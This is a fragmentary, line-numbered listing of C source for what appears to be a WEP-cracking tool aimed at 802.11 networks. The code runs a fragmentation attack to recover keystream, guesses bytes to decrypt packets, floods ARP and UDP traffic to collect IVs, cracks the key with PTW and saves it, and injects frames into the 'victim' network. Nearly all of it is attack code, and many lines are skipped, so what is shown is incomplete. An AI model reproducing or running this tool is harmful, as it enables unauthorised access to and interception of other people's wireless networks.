1635 if (get_victim_ssid(wh, rd)) {
1643 if (state >= FOUND_VICTIM) {
1646 stuff_for_us(wh, rd);
1649 // stuff in network [even for us]
1650 if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1651 (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1653 ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1654 (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1656 stuff_for_net(wh, rd);
1661 void do_arp(unsigned char* buf, unsigned short op,
1662 unsigned char* m1, unsigned char* i1,
1663 unsigned char* m2, unsigned char* i2) {
1668 unsigned char* data;
1670 inet_aton(i1, &sip);
1671 inet_aton(i2, &dip);
1672 h = (struct arphdr*) buf;
1674 memset(h, 0, sizeof(*h));
1676 h->ar_hrd = htons(ARPHRD_ETHER);
1677 h->ar_pro = htons(ETHERTYPE_IP);
1680 h->ar_op = htons(op);
1682 data = (unsigned char*) h + sizeof(*h);
1684 memcpy(data, m1, 6);
1686 memcpy(data, &sip, 4);
1689 memcpy(data, m2, 6);
1691 memcpy(data, &dip, 4);
1695 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1696 unsigned char buf[4096];
1697 struct ieee80211_frame* wh;
1698 unsigned char* body;
1701 unsigned long *pcrc;
1703 unsigned short* seq;
1704 unsigned short sn, fn;
1706 wh = (struct ieee80211_frame*) buf;
1707 memcpy(wh, &fs->wh, sizeof(*wh));
1709 body = (unsigned char*) wh + sizeof(*wh);
1710 memcpy(body, &pi->iv, 3);
1712 *body++ = 0; // key index
1714 fragsize = fs->data + fs->len - fs->ptr;
1716 assert(fragsize > 0);
1718 if ( (fragsize + 4) > pi->len) {
1719 fragsize = pi->len - 4;
1720 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1724 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1727 memcpy(body, fs->ptr, fragsize);
1729 crc = crc32(0L, Z_NULL, 0);
1730 crc = crc32(crc, body, fragsize);
1731 pcrc = (unsigned long*) (body+fragsize);
1734 for (i = 0; i < (fragsize + 4); i++)
1735 body[i] ^= pi->prga[i];
1737 seq = (unsigned short*) &wh->i_seq;
1738 sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1739 fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1740 // printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1742 send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1744 seq = (unsigned short*) &fs->wh.i_seq;
1745 *seq = fnseq(++fn, sn);
1746 fs->ptr += fragsize;
1748 if (fs->ptr - fs->data == fs->len) {
1749 // printf("Finished sending frags...\n");
1750 fs->waiting_relay = 1;
1754 void prepare_fragstate(struct frag_state* fs, int pad) {
1755 fs->waiting_relay = 0;
1756 fs->len = 8 + 8 + 20 + pad;
1757 fs->data = (unsigned char*) malloc(fs->len);
1766 do_llc(fs->data, ETHERTYPE_ARP);
1767 do_arp(&fs->data[8], ARPOP_REQUEST,
1769 "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1771 memset(&fs->wh, 0, sizeof(fs->wh));
1772 fill_basic(&fs->wh);
1774 memset(fs->wh.i_addr3, 0xff, 6);
1775 fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1776 fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1777 IEEE80211_FC1_MORE_FRAG |
1780 memset(&fs->data[8+8+20], 0, pad);
1783 void discover_prga(int tx) {
1786 if (!fragstate.data) {
1789 if (prgainfo.len >= 20)
1790 pad = prgainfo.len*3;
1792 prepare_fragstate(&fragstate, pad);
1795 if (!fragstate.waiting_relay) {
1796 send_fragment(tx, &fragstate, &prgainfo);
1797 if (fragstate.waiting_relay) {
1798 if (gettimeofday(&fragstate.last, NULL) == -1)
1799 err(1, "gettimeofday()");
1804 void decrypt(int tx) {
1807 if (!decryptstate.fragstate.data) {
1808 prepare_fragstate(&decryptstate.fragstate, 0);
1810 memcpy(decryptstate.fragstate.wh.i_addr3,
1813 decryptstate.fragstate.wh.i_addr3[5] =
1814 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1816 decryptstate.prgainfo.len++;
1819 // guess diff prga byte...
1820 if (decryptstate.fragstate.waiting_relay) {
1821 unsigned short* seq;
1822 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1825 if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1826 printf("Can't decrpyt!\n");
1830 decryptstate.fragstate.wh.i_addr3[5] =
1831 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1833 decryptstate.fragstate.waiting_relay = 0;
1834 decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1836 seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1837 *seq = fnseq(0, txstate.psent);
1840 send_fragment(tx, &decryptstate.fragstate,
1841 &decryptstate.prgainfo);
1844 void flood_inet(tx) {
1845 static int send_arp = -1;
1846 static unsigned char arp_pkt[128];
1848 static unsigned char udp_pkt[128];
1850 static struct timeval last_ip;
1852 // need to init packets...
1853 if (send_arp == -1) {
1854 unsigned char* body;
1856 struct ieee80211_frame* wh;
1860 memset(arp_pkt, 0, sizeof(arp_pkt));
1861 memset(udp_pkt, 0, sizeof(udp_pkt));
1864 wh = (struct ieee80211_frame*) arp_pkt;
1867 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1868 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1869 memset(wh->i_addr3, 0xff, 6);
1871 body = (unsigned char*) wh + sizeof(*wh);
1875 do_llc(ptr, ETHERTYPE_ARP);
1877 do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1878 "\x00\x00\x00\x00\x00\x00", netip);
1880 wepify(body, 8+8+20);
1881 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1882 assert(arp_len < sizeof(arp_pkt));
1886 wh = (struct ieee80211_frame*) udp_pkt;
1889 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1890 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1891 memcpy(wh->i_addr3, rtrmac, 6);
1893 body = (unsigned char*) wh + sizeof(*wh);
1897 do_llc(ptr, ETHERTYPE_IP);
1900 ih = (struct ip*) ptr;
1904 ih->ip_len = htons(20+8+5);
1905 ih->ip_id = htons(666);
1908 ih->ip_p = IPPROTO_UDP;
1911 inet_aton(myip, &ih->ip_src);
1912 inet_aton(floodip, &ih->ip_dst);
1914 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1917 uh = (struct udphdr*) ptr;
1918 uh->uh_sport = htons(floodsport);
1919 uh->uh_dport = htons(floodport);
1920 uh->uh_ulen = htons(8+5);
1924 strcpy(ptr, "sorbo");
1926 uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1929 wepify(body, 8+20+8+5);
1930 udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1931 assert(udp_len < sizeof(udp_pkt));
1936 memset(&last_ip, 0, sizeof(last_ip));
1939 if (send_arp == 1) {
1943 if (gettimeofday(&now, NULL) == -1) {
1944 perror("gettimeofday()");
1948 sec = now.tv_sec - last_ip.tv_sec;
1953 send_frame(tx, arp_pkt, arp_len);
1957 else if (send_arp == 0) {
1958 if (gettimeofday(&last_ip, NULL) == -1) {
1959 perror("gettimeofday()");
1963 send_frame(tx, udp_pkt, udp_len);
1968 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1969 unsigned char* srcmac, unsigned char* dstip,
1970 unsigned char* dstmac) {
1972 static unsigned char arp_pkt[128];
1973 unsigned char* body;
1975 struct ieee80211_frame* wh;
1978 memset(arp_pkt, 0, sizeof(arp_pkt));
1981 wh = (struct ieee80211_frame*) arp_pkt;
1984 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1985 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1986 memset(wh->i_addr3, 0xff, 6);
1988 body = (unsigned char*) wh + sizeof(*wh);
1992 do_llc(ptr, ETHERTYPE_ARP);
1994 do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1996 wepify(body, 8+8+20);
1997 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1998 assert(arp_len < sizeof(arp_pkt));
2000 send_frame(tx, arp_pkt, arp_len);
2003 void can_write(int tx) {
2004 static char arp_ip[16];
2009 state = SENDING_AUTH;
2014 state = SENDING_ASSOC;
2018 if (prgainfo.prga && prgainfo.len < min_prga) {
2023 if (decryptstate.cipher) {
2032 send_frame(tx, taptx, taptx_len);
2037 // try to find rtr mac addr
2038 if (netip && !rtrmac) {
2041 strcpy(arp_ip, netip);
2043 ptr = strchr(arp_ip, '.');
2045 ptr = strchr(++ptr, '.');
2047 ptr = strchr(++ptr, '.');
2052 if (gettimeofday(&arpsend, NULL) == -1)
2053 err(1, "gettimeofday()");
2055 time_print("Sending arp request for: %s\n", arp_ip);
2056 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2057 arp_ip, "\x00\x00\x00\x00\x00\x00");
2060 rtrmac = (unsigned char*)1;
2064 // need to generate traffic...
2065 if (rtrmac > (unsigned char*)1 && netip) {
2069 // XXX lame technique... anyway... im
2070 // only interested in flood_inet...
2072 // could ping broadcast....
2073 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2074 arp_ip, "\x00\x00\x00\x00\x00\x00");
2084 void save_key(unsigned char *key, int len)
2091 assert(len*3 < sizeof(k));
2095 sprintf(tmp, "%.2X", *key++);
2101 fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
2105 printf("\nKey: %s\n", k);
2106 rd = write(fd, k, strlen(k));
2109 if (rd != strlen(k))
2110 errx(1, "write %d/%d\n", rd, strlen(k));
2114 #define KEYLIMIT (1000000)
2117 unsigned char key[PTW_KEYHSBYTES];
2119 if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2123 if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2134 time_print("Warning... previous crack still running!\n");
2139 if (fsync(weplog.fd) == -1)
2145 if (crack_pid == -1)
2149 if (crack_pid == 0) {
2151 printf("\nCrack unsuccessful\n");
2157 time_print("Starting crack PID=%d\n", crack_pid);
2158 if (gettimeofday(&crack_start, NULL) == -1)
2159 err(1, "gettimeofday");
2162 wep_thresh += thresh_incr;
2171 tapfd = open(TAP_DEV, O_RDWR);
2173 printf("Can't open tap: %s\n", strerror(errno));
2176 if(fstat(tapfd, &st) == -1) {
2182 strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2184 s = socket(PF_INET, SOCK_DGRAM, 0);
2191 memset(&ifr, 0, sizeof(ifr));
2192 strcpy(ifr.ifr_name, tapdev);
2194 if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2195 perror("ioctl(SIOCSIFMTU)");
2200 memset(&ifr, 0, sizeof(ifr));
2201 strcpy(ifr.ifr_name, tapdev);
2202 if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2203 perror("ioctl(SIOCGIFFLAGS)");
2207 flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2210 memset(&ifr, 0, sizeof(ifr));
2211 strcpy(ifr.ifr_name, tapdev);
2212 ifr.ifr_flags = flags & 0xffff;
2213 ifr.ifr_flagshigh = flags >> 16;
2214 if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2215 perror("ioctl(SIOCSIFFLAGS)");
2220 time_print("Opened tap device: %s\n", tapdev);
2224 unsigned char buf[4096];
2225 struct ether_header* eh;
2226 struct ieee80211_frame* wh;
2228 unsigned char* ptr, *body;
2231 rd = read(tapfd, buf, sizeof(buf));
2236 dlen = rd - sizeof(*eh);
2240 if (dlen+8 > prgainfo.len) {
2242 // XXX lame message...
2243 time_print("Sorry... want to send %d but only got %d prga\n",
2244 dlen, prgainfo.len);
2251 time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2252 // XXX could not read instead and get rid of it in select...
2255 assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2257 eh = (struct ether_header*) buf;
2259 wh = (struct ieee80211_frame*) taptx;
2260 memset(wh, 0, sizeof(*wh));
2263 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2264 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2266 memcpy(wh->i_addr2, eh->ether_shost, 6);
2267 memcpy(wh->i_addr3, eh->ether_dhost, 6);
2269 body = (unsigned char*) wh + sizeof(*wh);
2273 do_llc(ptr, ntohs(eh->ether_type));
2276 memcpy(ptr, &buf[sizeof(*eh)], dlen);
2278 wepify(body, 8+dlen);
2279 taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2281 assert (taptx_len < sizeof(taptx));
2284 int elapsedd(struct timeval *past, struct timeval *now)
2288 el = now->tv_sec - past->tv_sec;
2291 el = now->tv_usec - past->tv_usec;
2293 el = (el - 1)*1000*1000;
2294 el += 1000*1000-past->tv_usec;
2301 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2303 #define BIT(n) (1<<(n))
2304 struct bpf_hdr *bpfh;
2305 struct ieee80211_radiotap_header *rth;
2309 static int nocrc = 0;
2314 bpfh = (struct bpf_hdr*) (*data);
2315 assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2316 *totlen -= bpfh->bh_hdrlen;
2318 /* check if more packets */
2319 if ((int)bpfh->bh_caplen < *totlen) {
2320 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2321 int offset = BPF_WORDALIGN(tot);
2323 *data = (char*)bpfh + offset;
2324 *totlen -= offset - tot; /* take into account align bytes */
2325 } else if ((int)bpfh->bh_caplen > *totlen)
2328 *plen = bpfh->bh_caplen;
2329 *totlen -= bpfh->bh_caplen;
2330 assert(*totlen >= 0);
2333 rth = (struct ieee80211_radiotap_header*)
2334 ((char*)bpfh + bpfh->bh_hdrlen);
2335 /* XXX cache; drivers won't change this per-packet */
2336 /* check if FCS/CRC is included in packet */
2337 present = le32toh(rth->it_present);
2338 if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2339 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2340 rflags = ((const uint8_t *)rth)[8];
2342 rflags = ((const uint8_t *)rth)[0];
2345 *plen -= rth->it_len;
2349 if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2350 *plen -= IEEE80211_CRC_LEN;
2354 ptr = (char*)rth + rth->it_len;
2360 static int read_packet(int fd, unsigned char *dst, int len)
2362 static unsigned char buf[4096];
2363 static int totlen = 0;
2364 static unsigned char *next = buf;
2370 /* need to read more */
2372 totlen = read(fd, buf, sizeof(buf));
2380 /* read 802.11 packet */
2381 pkt = get_80211(&next, &totlen, &plen);
2385 memcpy(dst, pkt, plen);
2390 void own(int wifd) {
2391 unsigned char buf[4096];
2395 char *pbar = "/-\\|";
2396 char *pbarp = &pbar[0];
2397 struct timeval lasthop;
2399 unsigned int last_wep_count = 0;
2400 struct timeval last_wcount;
2401 struct timeval last_status;
2405 weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2406 if (weplog.fd == -1) {
2407 struct pcap_file_header pfh;
2409 memset(&pfh, 0, sizeof(pfh));
2410 pfh.magic = TCPDUMP_MAGIC;
2411 pfh.version_major = PCAP_VERSION_MAJOR;
2412 pfh.version_minor = PCAP_VERSION_MINOR;
2415 pfh.snaplen = 65535;
2416 pfh.linktype = LINKTYPE_IEEE802_11;
2418 weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2419 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2420 if (weplog.fd != -1) {
2421 if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2426 time_print("WARNING: Appending in %s\n", WEP_FILE);
2429 if (weplog.fd == -1) {
2434 fd = open(PRGA_FILE, O_RDONLY);
2436 time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2437 rd = read(fd, buf, sizeof(buf));
2443 set_prga(buf, NULL, &buf[3], rd - 3);
2449 fd = open(DICT_PATH, O_RDONLY);
2451 time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2452 if (mkdir (DICT_PATH, 0755) == -1) {
2461 set_if_mac(mymac, tapdev);
2462 time_print("Set tap MAC to: %s\n", mac2str(mymac));
2469 if (signal(SIGINT, &cleanup) == SIG_ERR) {
2473 if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2478 time_print("Looking for a victim...\n");
2479 if (gettimeofday(&lasthop, NULL) == -1) {
2480 perror("gettimeofday()");
2484 memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2485 memcpy(&last_status, &lasthop, sizeof(last_status));
2488 if (gettimeofday(&now, NULL) == -1) {
2489 perror("gettimeofday()");
2493 /* check for relay timeout */
2494 if (fragstate.waiting_relay) {
2497 el = now.tv_sec - fragstate.last.tv_sec;
2500 el = now.tv_usec - fragstate.last.tv_usec;
2505 el += 1000*1000 - fragstate.last.tv_usec;
2508 if (el > (1500*1000)) {
2509 // printf("\nLAMER timeout\n\n");
2510 free(fragstate.data);
2516 /* check for arp timeout */
2517 if (rtrmac == (unsigned char*) 1) {
2520 el = elapsedd(&arpsend, &now);
2521 if (el >= (1500*1000)) {
2527 if ( (now.tv_sec > last_status.tv_sec ) ||
2528 ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2529 if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2532 if (netip && prgainfo.len >= min_prga &&
2533 rtrmac > (unsigned char*) 1) {
2534 time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d) \r",
2535 weplog.packets, wep_thresh,
2536 weplog.iv[0], weplog.iv[1], weplog.iv[2],
2541 if (state == FIND_VICTIM)
2542 time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2543 else if (decryptstate.cipher) {
2544 int pos = decryptstate.prgainfo.len - 1;
2545 unsigned char prga = decryptstate.prgainfo.prga[pos];
2548 time_print("Guessing PRGA %.2x (IP byte=%d) \r",
2549 prga, decryptstate.cipher[pos] ^ prga);
2552 time_print("%c\r", *pbarp);
2555 memcpy(&last_status, &now,sizeof(last_status));
2558 // check if we are cracking
2560 if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2564 // check TX / retransmit
2565 if (txstate.waiting_ack) {
2566 unsigned int elapsed = now.tv_sec -
2567 txstate.tsent.tv_sec;
2568 elapsed *= 1000*1000;
2569 elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2571 if (elapsed >= ack_timeout)
2572 send_frame(wifd, NULL, -1);
2579 FD_SET(tapfd, &rfd);
2581 tv.tv_usec = 1000*10;
2582 rd = select(largest+1, &rfd, NULL, NULL, &tv);
2591 if (FD_ISSET(wifd, &rfd)) {
2592 rd = read_packet(wifd, buf, sizeof(buf));
2604 anal(buf, rd, wifd);
2608 if (FD_ISSET(tapfd, &rfd)) {
2613 // check state and what we do next.
2614 if (state == FIND_VICTIM) {
2615 if (now.tv_sec > lasthop.tv_sec ||
2616 ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2617 int chan = chaninfo.chan;
2624 memcpy(&lasthop, &now, sizeof(lasthop));
2627 // check if we need to write something...
2628 if (!txstate.waiting_ack)
2633 #ifdef MORE_ACCURATE
2634 if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2635 unsigned int elapsed;
2637 int packetz = weplog.packets - last_wep_count;
2638 elapsed = 1000*1000;
2640 elapsed -= last_wcount.tv_usec;
2642 assert(elapsed >= 0);
2643 elapsed += now.tv_usec;
2645 secs = now.tv_sec - last_wcount.tv_sec;
2648 elapsed += (secs*1000*1000);
2651 ((double)packetz/(elapsed/1000.0/1000.0));
2653 if ( now.tv_sec > last_wcount.tv_sec) {
2654 weplog.rate = weplog.packets - last_wep_count;
2656 last_wep_count = weplog.packets;
2657 memcpy(&last_wcount, &now, sizeof(now));
2659 if (wep_thresh != -1 && weplog.packets > wep_thresh)
2666 void start(char *dev) {
2671 fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2673 ptw = PTW_newattackstate();
2675 err(1, "PTW_newattackstate()");
2684 for (i = 0; i < 10; i++) {
2685 gettimeofday(&tv, NULL);
2689 printf("%lu\n", tv.tv_usec);
2697 void usage(char* pname) {
2698 printf("Usage: %s <opts>\n", pname);
2699 printf("-h\t\tthis lame message\n");
2700 printf("-i\t\t<iface>\n");
2701 printf("-s\t\t<flood server ip>\n");
2702 printf("-m\t\t<my ip>\n");
2703 printf("-n\t\t<net ip>\n");
2704 printf("-r\t\t<rtr mac>\n");
2705 printf("-a\t\t<mymac>\n");
2706 printf("-c\t\tdo not crack\n");
2707 printf("-p\t\t<min prga>\n");
2708 printf("-4\t\t64 bit key\n");
2709 printf("-v\t\tvictim mac\n");
2710 printf("-t\t\t<crack thresh>\n");
2711 printf("-f\t\t<max chan>\n");
2715 void str2mac(unsigned char* dst, unsigned char* mac) {
2716 unsigned int macf[6];
2719 if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2720 &macf[0], &macf[1], &macf[2],
2721 &macf[3], &macf[4], &macf[5]) != 6) {
2723 printf("can't parse mac %s\n", mac);
2727 for (i = 0; i < 6; i++)
2728 *dst++ = (unsigned char) macf[i];
2731 int main(int argc, char *argv[]) {
2732 unsigned char* dev = "ath0";
2733 unsigned char rtr[6];
2734 unsigned char vic[6];
2738 if (gettimeofday(&real_start, NULL) == -1) {
2739 perror("gettimeofday()");
2747 memset(&txstate, 0, sizeof(txstate));
2748 memset(&fragstate, 0, sizeof(fragstate));
2749 memset(&decryptstate, 0, sizeof(decryptstate));
2750 memset(&weplog, 0, sizeof(weplog));
2752 state = FIND_VICTIM;
2754 while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2757 str2mac(mymac, optarg);
2769 strncpy(myip, optarg, sizeof(myip)-1);
2770 myip[sizeof(myip)-1] = 0;
2779 str2mac(rtr, optarg);
2784 str2mac(vic, optarg);
2793 min_prga = atoi(optarg);
2797 thresh_incr = wep_thresh = atoi(optarg);
2801 max_chan = atoi(optarg);
2816 if(chaninfo.s != -1)